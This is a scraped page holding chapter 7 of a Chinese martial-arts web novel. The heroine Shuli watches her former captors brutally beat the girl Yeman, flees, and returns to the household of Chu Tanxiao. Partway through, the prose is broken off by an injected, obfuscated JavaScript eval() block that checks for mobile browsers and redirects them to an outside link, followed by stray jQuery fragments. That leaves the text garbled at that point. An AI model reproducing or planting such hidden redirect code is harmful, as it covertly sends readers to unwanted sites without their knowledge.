默认冷灰
24号文字
方正启体

7. 意晋欲江

作者:柏昭本书字数:K更新时间:
    山鬼来信。她记起来了。这就是她的小时候,这是她快要遗忘的、快要丢失的痛苦记忆。


    眼前的爹娘也是她曾经的爹娘


    山鬼、山妖;爹,娘。


    可是为什么,雀也这么唤他们?难不成,真是这两人情欲上头,生了不少小孩。又为何,她和雀,都会在一度春华平安长大?


    雀把她引到此处,意欲何为?


    “把人带回来没有?”山妖的声音带着长期嘶吼过的沙哑,她习惯性地尖着嗓子,仿佛带有了攻击性,如一根针。


    黍离远远地看着,雀的脑袋微微往自己这边偏了偏,眼神也朝自己飘了下。


    黍离整颗心都在冒汗。


    “没有。”


    山鬼干咳两声,冷哼着:“没有?这么多年,仅仅是让你在一度春华待着,你便待不下去;让你把人带回来,你也没有着落。好啊,真是如废物一般,你让山鬼来信,怎么养着你?”


    山妖在一旁缓缓地道:“莫非是在一度春华待久了,产生了些什么情谊,不愿为山鬼来信办事了?”


    野蔓瞪大了眼,猛地摇头:“没有!一度春华那么对我,我怎么可能……”


    山妖一脚踢到野蔓的胸膛:“那人呢?”


    野蔓捂着心口,在地上打滚。


    “你知道的,完不成任务,得到什么下场。”


    野蔓咳嗽几声,涎液掉到地上,晶亮的一条线:“我……再给我三天。”


    “一度春华那个小东西长大了,在江湖上落得不少名号。他是你的家主啊!你一天到晚待在他身边,有没有听到什么?”


    野蔓困惑地趴在地上,喘了几口气:“没有……府里没有人,从来没有人和我说这些。”


    “他啊,可真是个杀人不眨眼的魔头。心狠手辣,五识不通。似乎天生地就没有色觉和嗅觉,对于追求感官的刺激他表现得极为偏执。”


    山鬼蹲下身子,摸了下野蔓的手掌在地上擦出的血:“外面的人都说他是修罗道投生的,对待下人尚且慈悲,给他们痛快一死;但如果把叛徒再送回他手里,还不知道会怎么样。”


    野蔓拍着自己的胸口,在地上磨蹭着后退,咳嗽半天说不出话:“不要,求你们,不要……”


    她开始干呕。


    “江湖上都很好奇。我也想……”山妖抬起野蔓的脸,“你想不想试试?”


    山妖抹在脸上的粉不均匀,黑一块白一块,显得整张脸阴晴不定,可是那对黑得看不见瞳仁的眼珠子盯着野蔓,像沼泽,被污染到发臭发烂、水质粘稠布满泥污的沼泽。


    眼里有红血丝。红血丝,红血丝,它们越来越狰狞,仿佛成千上万的、被它吞噬的尸体藏不住了,露出一点点痕迹来。


    那是尸体吗?被她吞噬的尸体在尖叫。


    野蔓发着抖,手指发冷,没有知觉。可是她看见自己的手,分明在一点点抬起,四个手指缓缓收紧,只留下一个冰凉的十指,像一个象征绝情的长矛,蓄势待发,蓄势待发,要刺向……刺向哪儿?


    所有人的眼睛跟着野蔓的手指缓慢地移动,缓慢地转,最后停住,定格!那里!黍离的藏身之处。


    人群向着黍离的方向一拥而上。


    野蔓失去所有的力气一般,倒在地上,紧紧抱住自己:“别把我送回去……别把我送回去……我告诉你们了,看,黍离她就藏在那里,别杀我……别杀我……别杀我……”


    可是那处空无一人。


    “敢耍我?人呢!”山鬼噗地冲到野蔓身边,扯着她的头发将她瘫软的身子拉起来,“人呢?!!”


    野蔓满脸发白,挣扎着跪下:“我……我不知道,她分明是藏在那里的的,我看得清清楚楚;我不敢骗人的。”


    她抬起自己充满怨恨的双眼:“她跑了!”


    山鬼后退几步,眼睛瞥了瞥山妖。她正抱着臂,冷眼旁观着。


    山鬼冲上去,照着野蔓挥舞了下拳头:“你敢骗我,我把你丢进小山鬼的家。”


    不顾野蔓的哭喊,他拉着野蔓的头发拖着走。


    野蔓的鞋在地上摩擦,磨破了,脚后跟便在地上摩擦,磨出血来,红褐色的印子一直跟着她,甩也甩不掉。


    野蔓哭喊着:“黍离!该死的黍离!你害惨了我!你害死我了!!!贱人,你会遭报应的,一度春华!报应!楚……楚……楚檀笑,去死!去死……去死啊!不要害我……求你了!我恨你们。”


    她哭着,瞠目欲裂,眼泪已经流干了,泪痕干在脸上,眼睛却睁得大大的,不愿意眨一下。


    “我恨……嗬嗬……嗬嗬……”


    野蔓咬伤了自己的舌头,她仰面被山鬼拖着走,粘稠的血液灌到喉咙里、气管里。


    她艰难地呼吸着,艰难地继续自己的咒骂。


    恨……恨……恨……


    山鬼倏然松了手,野蔓趴在地上,将灌进喉头的血全吐了出来,鲜红的一大摊。


    她咳嗽着,几乎喘不上气。


    苟延残喘,像条活不下去的狗。


    手掌生疼。山妖踩住了野蔓的手。


    野蔓满脸血污,抬起头来望,哀求着:“求您了……”


    那只脚碾了碾。


    野蔓惨叫起来。


    “三天时间,把那小贱人找回来。”山妖轻快地,用大发慈悲的语气宣布着。


    黍离飞快地奔跑着,风声盖过了自己的呼吸声。她不小心撞到了谁,肩膀疼得她不得不停下来。


    她听见男人用粗犷的声音咒骂。


    她胸口起伏几下,停在原地不动,就当休息,然后爬上屋檐,远离了人群。


    就这么无知无识地走着,她在逃命。路上似乎想了很多,似乎什么都没有想。好像她整个人在水面上漂浮,水底下波涛汹涌,她感觉得到。可是模模糊糊的,她看不清楚,感受不清楚。她想沉入水底,但那会溺亡。


    她的脚步停下了。


    一度春华。


    她又回到了这里。家主说,找不回雀儿就不许回来的。可是,她还没有把雀儿找回来。她没有家了。


    门口是空荡荡的,她摸着门口的石狮子,狮子吐着它黑色的冰舌头,和幼年时摸到的一样冰冷坚硬。其实很多事情都忘记了,她只迷迷糊糊地记得自己被一个男孩抱进了一度春华,从此她的生命安定了。


    她一直害怕被赶出山鬼来信,可那天之后,恐惧从此消失。像火,飘飘摇摇,总担心会灭。来了一阵狂风,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420652|200831||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    终于吹灭了,也就破罐子破摔般地不在乎了。幸运的是,她的生命里没有火光,却又什么东西代替了火,更亮更暖。这么多年,她早就习惯了这样的存在。


    可是……可是……她的生命,终于要第二次陷入黑暗了吗?


    黑暗?是的,黑暗。她的眼神迷濛了,她好像什么都看不见了。那缕光熄灭了吗?她的眼前一片漆黑。


    耳边传来破风箱一般的喘气声,带着些嘶哑的尖锐,好像有痰。那是苍老的喉咙试图与岁月碰撞发出的声音,听着不大舒服。


    黍离睁眼,看见王伯微微张着嘴,费尽力气将她拉到床上。


    周围的陈设没变。


    黍离猛地坐起来,额头撞到了王伯的头。


    他捂着脑袋离远了些:“哎哟,好心没好报哟!”


    “王伯,家主放我进来的?”


    他哭笑着摆摆手,似乎还在忍受额头上的痛楚:“还没来得及跟家主说。我怕你这孩子在外头冻坏了,晕倒在地上的。哎?现在去说?你自己去见家主。”


    黍离撑着床座了会,眼神放空,一声不响地缩回被子里,蒙住头。


    “你不说,迟早是要说的嘛。”


    被子动了动,依旧一言不发。


    “家主其实也没那么大气性,就是看对谁。他对你,就一向不错哟!”


    黍离的眼睛乱转,闻到被子里皂角的清香。她有些闷了。


    王伯撑着笑等了一等,黍离还是没有动静。他叹了口气,出去时把门带上了。


    王伯走了,黍离才从被子里钻出来,慢慢地钻出来,眼珠子从房梁绕到地面,又呆了会儿,缓慢地从被窝里爬出来。


    镜子里的自己,头发已经让被子磨得乱七八糟。她很有耐心地坐下来,好好整理了整理。


    旁边放着一杯不知何年何月的冷茶,她用手指蘸了蘸,湿湿的手指贴着头皮抹了几把。整个人看起来精神了。


    “无忧,快点啊!”


    吓得黍离手一抖。


    她打开门:“王伯,你没走?”


    王伯强笑着,脸上松弛的肉一抖一抖的,他在害怕:“我擅自把你放进来。你不去解释解释,我还怎么在一度春华待啊。”


    黍离默了默,学他说话:“家主其实也没那么大气性,就是看对谁。他对你,就一向不错哟。”虽然带着语气词,她的语气却没有任何起伏。


    王伯小腿打颤地走了。


    “哎哟我这老头子,命该如此!命该如此!”


    。。。


    黍离忐忑地往内府走。


    今天没有侍卫守着门,她走得格外通畅。可是越畅通无阻,她就越泛冷。


    她停在桑柔斋门口。


    还没敲门,里头就传来一声:“进。”


    吓得黍离又抖了一抖,在外面拍了拍胸脯才推门。


    楚檀笑正拿着一副竹简看得认真,只是抬头瞥了一眼,他便笑起来:“小无忧,在外面玩得怎么样?”


    “……还行。”


    他放下竹简:“过来我看看。”


    黍离走近的时候扫了一眼那崭新的竹简。上头空白的,一个字也没有。


    。。。真深奥,还看本无字天书。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)